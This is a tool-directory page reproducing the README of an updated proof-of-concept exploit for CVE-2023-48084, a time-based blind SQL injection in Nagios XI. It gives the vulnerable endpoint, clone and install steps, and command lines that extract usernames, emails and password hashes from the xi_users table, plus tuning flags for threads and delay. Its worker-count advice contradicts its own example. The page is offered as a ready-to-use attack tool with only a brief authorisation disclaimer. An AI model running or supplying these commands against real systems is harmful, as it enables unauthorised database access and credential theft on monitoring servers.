Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-48084-Revised | Kitploit
Tools/GitHubGitHub/metthk/cve-2023-48084-revised
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration TestingDatabase Security
GitHubmetthk/cve-2023-48084-revised

CVE-2023-48084-Revised

View Repository
9 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-48084 — updated PoC

Repository: MettHK/CVE-2023-48084-Revised

Updated version of Hamibubu/CVE-2023-48084 with multithreading, binary-search extraction, and CLI flags for database / table / column selection.

Not the original repository. This is a derivative/improved PoC. Credit for the original work goes to Hamibubu.

Disclaimer

For authorized security testing and educational use only. Do not use this against systems you do not own or do not have explicit permission to test. The authors and contributors are not responsible for misuse.

About the vulnerability

CVE-2023-48084: Nagios XI before version 5.11.3 contains a SQL injection vulnerability via the bulk modification tool.

This PoC abuses a time-based blind SQL injection on:

root@kitploit:~
/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=(SQL)

You need a valid non-admin session cookie (nagiosxi) or an API token.

Changes from the original

Requirements

  • Python 3.8+
  • requests (required)
  • pwntools (optional; nicer progress output)
root@kitploit:~
git clone https://github.com/MettHK/CVE-2023-48084-Revised.git
cd CVE-2023-48084-Revised
pip install -r requirements.txt

Usage

root@kitploit:~
# Interactive (discover schemas → tables → columns)
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -c '<cookie>'
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -a '<api_token>'

# Fast path: database + table + columns known
python3 CVE-2023-48084.py \
  -u https://target.example/nagiosxi \
  -c '<cookie>' \
  -d nagiosxi \
  -t xi_users \
  -C username,email,password \
  -w 15 \
  --delay 1.2

I don't recommend to use more than 2 workers as it may give back incorrect results

Options

Tips

  • Wrong characters / noisy results → increase --delay (e.g. 2) or lower -w (e.g. 5).
  • Stable, fast target → try higher workers (-w 15–20).
  • Prefer -d / -t / -C when you already know the target schema to avoid long discovery.
Download Tool
AreaWhat changed
ExtractionBinary search for string length and ASCII characters (far fewer requests)
PerformanceMultithreaded character extraction (-w / --workers)
CLI-d / --database — skip schema discovery
CLI-t / --table — skip table discovery (requires -d)
CLI-C / --columns — comma-separated columns, skip column discovery (requires -t)
TimingConfigurable --delay, --threshold, --max-length
RobustnessPer-thread HTTP sessions; optional pwntools (progress bars) with a plain fallback
DocsCredit/link to original; no lab hostnames or CTF artifacts in examples
FlagDescription
-u / --urlBase URL (e.g. https://target.example/nagiosxi)
-c / --cookieValue of the nagiosxi session cookie
-a / --apiKeyAPI token (do not use together with -c)
-d / --databaseSchema/database name (skip schema enum)
-t / --tableTable name (skip table enum; needs -d)
-C / --columnsComma-separated columns (skip column enum; needs -t)
-w / --workersParallel threads (default: 10)
--delaySLEEP seconds on true branch (default: 1.5)
--thresholdMin response time to count as hit (default: delay * 0.8)
--max-lengthUpper bound for length binary search (default: 2048)